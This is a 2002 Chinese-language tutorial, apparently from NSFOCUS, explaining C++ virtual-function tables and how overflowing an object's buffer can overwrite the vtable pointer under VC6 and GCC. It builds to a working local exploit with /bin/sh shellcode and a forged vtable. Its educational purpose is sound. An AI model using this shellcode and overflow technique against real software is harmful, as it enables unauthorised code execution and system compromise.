◆ C++中通過溢出覆蓋虛函數指標列表執行代碼
作者:watercloud
首頁:http://www.nsfocus.com
日期:2002-4-15
目錄:
1. C++中虛函數的靜態聯編和動態聯編
2. VC中對象的空間組織和溢出實驗
3. GCC中對象的空間組織和溢出實驗
4. 參考
<一> C++中虛函數的靜態聯編和動態聯編
C++中的一大法寶就是虛函數,簡單來說就是加virtual關鍵字定義的函數。
其特性就是支援動態聯編。現在C++開發的大型軟體中幾乎已經離不開虛函數的
使用,一個典型的例子就是虛函數是MFC的基石之一。
這裡有兩個概念需要先解釋:
靜態聯編:通俗點來講就是程式編譯時間確定調用目標的地址。
動態聯編:程式運行階段確定調用目標的地址。
在C++中通常的函數調用都是靜態聯編,但如果定義函數時加了virtual關鍵
字,並且在調用函數時是通過指標或引用調用,那麼此時就是採用動態聯編。
一個簡單例子:
// test.cpp
#include<iostream.h>
class ClassA
{
public:
int num1;
ClassA(){ num1=0xffff; };
virtual void test1(void){};
virtual void test2(void){};
};
ClassA objA,* pobjA;
int main(void)
{
pobjA=&objA;
objA.test1();
objA.test2();
pobjA->test1();
pobjA->test2();
return 0;
}
使用VC編譯:
開一個命令列直接在命令列調用cl來編譯: (如果你安裝vc時沒有選擇註冊環境
變數,那麼先在命令列運行VC目錄下bin\VCVARS32.BAT )
cl test.cpp /Fa
產生test.asm中間彙編代碼
接下來就看看asm裡有什麼玄虛,分析起來有點長,要有耐心 !
我們來看看:
資料定義:
_BSS SEGMENT
?objA@@3VClassA@@A DQ 01H DUP (?) ;objA 64位
?pobjA@@3PAVClassA@@A DD 01H DUP (?) ;pobjA 一個地址32位
_BSS ENDS
看到objA為64位,裡邊存放了哪些內容呢? 接著看看建構函式:
_this$ = -4
??0ClassA@@QAE@XZ PROC NEAR ; ClassA::ClassA() 定義了一個變數 _this ?!
; File test.cpp
; Line 6
push ebp
mov ebp, esp
push ecx
mov DWORD PTR _this$[ebp], ecx ; ecx 賦值給 _this ?? 不明白??
mov eax, DWORD PTR _this$[ebp]
mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@
; ClassA::`vftable'
; 前面的部分都是編譯器加的東東,我們的賦值在這裡
mov ecx, DWORD PTR _this$[ebp]
mov DWORD PTR [ecx+4], 65535 ;0xffff num1=0xffff;
; 看來 _this+4就是num1的地址
mov eax, DWORD PTR _this$[ebp]
mov esp, ebp
pop ebp
ret 0
??0ClassA@@QAE@XZ ENDP
那個_this和mov DWORD PTR _this$[ebp], ecx 讓人比較鬱悶了吧,不急看看何
處調用的建構函式:
_$E9 PROC NEAR
; File test.cpp
; Line 10
push ebp
mov ebp, esp
mov ecx, OFFSET FLAT:?objA@@3VClassA@@A
call ??0ClassA@@QAE@XZ ;call ClassA::ClassA()
pop ebp
ret 0
_$E9 ENDP
看,ecx指向objA的地址,通過賦值,那個_this就是objA的開始地址,其實CLASS中
的非靜態方法編譯器編譯時間都會自動添加一個this變數,並且在函數開始處把ecx
賦值給他,指向調用該方法的對象的地址 。
那麼建構函式裡的這兩行又是幹什麼呢?
mov eax, DWORD PTR _this$[ebp]
mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@
; ClassA::`vftable'
我們已經知道_this儲存的為對象地址: &objA。 那麼 eax = &objA
接著就相當於 ( * eax ) = OFFSET FLAT:??_7ClassA@@6B@
來看看 ??_7ClassA@@6B@ 是哪個道上混的:
CONST SEGMENT
??_7ClassA@@6B@
DD FLAT:?test1@ClassA@@UAEXXZ ; ClassA::`vftable'
DD FLAT:?test2@ClassA@@UAEXXZ
CONST ENDS
看來這裡存放的就是test1(),test2()函數的入口地址 ! 那麼這個賦值:
mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@
; ClassA::`vftable'
就是在對象的起始地址填入這麼一個地址清單的地址。
好了,至此我們已經看到了objA的構造了:
| 低地址 |
+--------+ ---> objA的起始地址 &objA
|pvftable|
+--------+-------------------------+
| num1 | num1變數的空間 |
+--------+ ---> objA的結束位址 +--->+--------------+ 地址表 vftable
| 高地址 | |test1()的地址 |
+--------------+
|test2()的地址 |
+--------------+
來看看main函數:
_main PROC NEAR
; Line 13
push ebp
mov ebp, esp
; Line 14
mov DWORD PTR ?pobjA@@3PAVClassA@@A,
OFFSET FLAT:?objA@@3VClassA@@A ; pobjA = &objA
; Line 15
mov ecx, OFFSET FLAT:?objA@@3VClassA@@A ; ecx = this指標
; 指向調用者的地址
call ?test1@ClassA@@UAEXXZ ; objA.test1()
; objA.test1()直接調用,已經確定了地址
; Line 16
mov ecx, OFFSET FLAT:?objA@@3VClassA@@A
call ?test2@ClassA@@UAEXXZ ; objA.test2()
; Line 17
mov eax, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA
mov edx, DWORD PTR [eax] ; edx = vftable
mov ecx, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA
call DWORD PTR [edx] ;
; call vftable[0] 即 pobjA->test1() 看地址是動態尋找的 ; )
; Line 18
mov eax, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA
mov edx, DWORD PTR [eax]
mov ecx, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA
call DWORD PTR [edx+4] ; pobjA->test2()
; call vftable[1] 而vftable[1]裡存放的是test2()的入口地址
; Line 19
xor eax, eax
; Line 20
pop ebp
ret 0
_main ENDP
好了,相信到這裡你已經對動態聯編有了深刻印象。
<二> VC中對象的空間組織和溢出實驗
通過上面的分析我們可以對對象空間組織概括如下:
| 低地址 |
+----------+ ---> objA的起始地址 &objA
|pvftable |--------------------->+
+----------+ |
|各成員變數| |
+----------+ ---> objA的結束位址 +---> +--------------+ 地址表 vftable
| 高地址 | |虛函數1的地址 |
+--------------+
|虛函數2的地址 |
+--------------+
| . . . . . . |
可以看出如果我們能覆蓋pvtable然後構造一個自己的vftable表那麼動態聯編就使得
我們能改變程式流程!
現在來作一個溢出實驗:
先寫個程式來看看
#include<iostream.h>
class ClassEx
{
};
int buff[1];
ClassEx obj1,obj2,* pobj;
int main(void)
{
cout << buff << ":" << &obj1 << ":" << &obj2<< ":" << &pobj <<endl;
return 0;
}
用cl編譯運行結果為:
0x00408998:0x00408990:0x00408991:0x00408994
編譯器把buff的地址放到後面了!
把程式改一改,定義變數時換成:
ClassEx obj1,obj2,* pobj;
int buff[1];
結果還是一樣!! 不會是vc就是防著這一手吧!
看來想覆蓋不容易呀 ; )
只能通過obj1 溢出覆蓋obj2了
//ex_vc.cpp
#include<iostream.h>
class ClassEx
{
public:
int buff[1];
virtual void test(void){ cout << "ClassEx::test()" << endl;};
};
void entry(void)
{
cout << "Why a u here ?!" << endl;
};
ClassEx obj1,obj2,* pobj;
int main(void)
{
pobj=&obj2;
obj2.test();
int vtab[1] = { (int) entry };//構造vtab,
//entry的入口地址
obj1.buff[1] = (int)vtab; //obj1.buff[1]就是 obj2的pvftable域
//這裡修改了函數指標列表的地址到vtab
pobj->test();
return 0;
}
編譯 cl ex_vc.cpp
運行結果:
ClassEx::test()
Why a u here ?!
測試環境: VC6
看我們修改了程式執行流程 ^_^
平時我們編程時可能用virtaul不多,但如果我們使用BC/VC等,且使用了廠商提供的
庫,其實我們已經大量使用了虛函數 ,以後寫程式可要小心了,一個不留神的變數
賦值可能會後患無窮。 //開始琢磨好多系統帶的程式也是vc寫的,裡邊會不會 ....
<三> GCC中對象的空間組織和溢出實驗
剛才我們已經分析完vc下的許多細節了,那麼我們接下來看看gcc裡有沒有什麼不
一樣!分析方法一樣,就是寫個test.cpp用gcc -S test.cpp 來編譯得到彙編檔案
test.s 然後分析test.s我們就能得到許多細節上的東西。
通過分析我們可以看到:
gcc中對象地址空間結構如下:
| 低地址 |
+---------------+ 對象的開始地址
| |
| 成員變數空間 |
| |
+---------------+
| pvftable |----------->+------------------+ vftable
+---------------+ | 0 |
| 高地址 | +------------------+
| XXXXXXXX |
+------------------+
| 0 |
+----------------- +
| 虛函數1入口地址 |
+------------------+
| 0 |
+----------------- +
| 虛函數2入口地址 |
+------------------+
| . . . . . . |
哈哈,可以看到gcc下有個非常大的優勢,就是成員變數在pvftable
前面,要是溢出成員變數賦值就能覆蓋pvftable,比vc下方便多了!
來寫個溢出測試程式:
//test.cpp
#include<iostream.h>
class ClassTest
{
public:
long buff[1]; //大小為1
virtual void test(void)
{
cout << "ClassTest test()" << endl;
}
};
void entry(void)
{
cout << "Why are u here ?!" << endl;
}
int main(void)
{
ClassTest a,*p =&a;
long addr[] = {0,0,0,(long)entry}; //構建的虛函數表
//test() -> entry()
a.buff[1] = ( long ) addr;// 溢出,操作了虛函數列表指標
a.test(); //靜態聯編的,不會有事
p->test(); //動態聯編的,到我們的函數表去找地址,
// 結果就變成了調用函數 entry()
}
編譯: gcc test.cpp -lstdc++
執行結果:
bash-2.05# ./a.out
ClassTest test()
Why are u here ?!
測試程式說明:
具體的就是gcc -S test.cpp產生 test.s 后里邊有這麼一段:
.section .gnu.linkonce.d._vt$9ClassTest,"aw",@progbits
.p2align 2
.type _vt$9ClassTest,@object
.size _vt$9ClassTest,24
_vt$9ClassTest:
.value 0
.value 0
.long __tf9ClassTest
.value 0
.value 0
.long test__9ClassTest ----------+
.zero 8 |
.comm __ti9ClassTest,8,4 |
|
|
test()的地址 <----+
這就是其虛函數列表裡的內容了。
test()地址在第3個(long)型地址空間
所以我們構造addr[]時:
long addr[] = {0,0,0,(long)entry};
就覆蓋了test()函數的地址 為 entry()的地址
p->test()
時就跑到我們構建的地址表裡取了entry的地址去運行了
測試環境 FreeBSD 4.4
gcc 2.95.3
來一個真實一點的測試:
通過溢出覆蓋pvftable,時期指向一個我們自己構造的
vftable,並且讓vftable的虛函數地址指向我們的一段shellcode
從而得到一個shell。
#include<iostream.h>
#include<stdio.h>
class ClassBase //定義一個基礎類
{
public:
char buff[128];
void setBuffer(char * s)
{
strcpy(buff,s);
};
virtual void printBuffer(void){}; //虛函數
};
class ClassA :public ClassBase
{
public:
void printBuffer(void)
{
cout << "Name :" << buff << endl;
};
};
class ClassB : public ClassBase
{
public:
void printBuffer(void)
{
cout << "The text : " << buff << endl;
};
};
char buffer[512],*pc;
long * pl = (long *) buffer;
long addr = 0xbfbffabc; // 在我的機器上就是 &b ^_*
char shellcode[]="1\xc0Ph//shh/binT[PPSS4;\xcd\x80";
int i;
int main(void)
{
ClassA a;
ClassB b;
ClassBase * classBuff[2] = { &a,&b };
a.setBuffer("Tom");
b.setBuffer("Hello ! This is world of c++ .");
for(i=0;i<2;i++) //C++中的慣用手法,
//一個基礎類的指標指向上層類對象時調
//用的為高層類的虛函數
classBuff[i]->printBuffer(); // 這裡是正常用法
cout << &a << " : " << &b << endl; // &b就是上面addr的值,
//如果你的機器上兩個值不同就改一改addr值吧!
//構造一個特殊的buff呆會給b.setBuffer
// 在開始處構造一個vftable
pl[0]=0xAAAAAAAA; //填充1
pl[1]=0xAAAAAAAA; //填充2
pl[2]=0xAAAAAAAA; //填充3
pl[3]=addr+16; //虛函數printBuffer入口地址
// 的位置指向shell代碼處了
pc = buffer+16;
strcpy(pc,shellcode);
pc+=strlen(shellcode);
for(;pc - buffer < 128 ; *pc++='A'); //填充
pl=(long *) pc;
*pl= addr; //覆蓋pvftable使其指向我們構造的列表
b.setBuffer(buffer); //溢出了吧 .
// 再來一次
for(i=0;i<2;i++)
classBuff[i]->printBuffer(); // classBuffer[1].printBuffer
// 時一個shell就出來了
return 0;
}
bash-2.05$ ./a.out
Name :Tom
The text : Hello ! This is world of c++ .
0xbfbffb44 : 0xbfbffabc
Name :
$ <------ 呵呵,成功了
說明:
addr = &b 也就是 &b.buff[0]
b.setBuffer(buffer)
就是讓 b.buff溢出,覆蓋128+4+1個地址。
此時記憶體中的構造如下:
&b.buff[0] 也是 &b
^
|
|
[填充1|填充2|填充3|addr+16|shellcode|填充|addr | \0]
____ ^ ___
| | |
| | |
| +---+ | |
| | |
+---------------> 128 <--------------+ |
|
此處即pvftable項 ,被溢出覆蓋為 addr <---+
現在b.buff[0]的開始處就構建了一個我們自己的虛
函數表,虛函數的入口地址為shellcode的地址 !
本文只是一個引導性文字,還有許多沒
有提到的細節,需要自己去分析。
俗話說自己動手豐衣足食 *_&
<四> 參考
Phrack56# << SMASHING C++ VPTRS >>
個人愚見,望斧正!
__watercloud__
(watercloud@nsfocus.com)
2002-4-15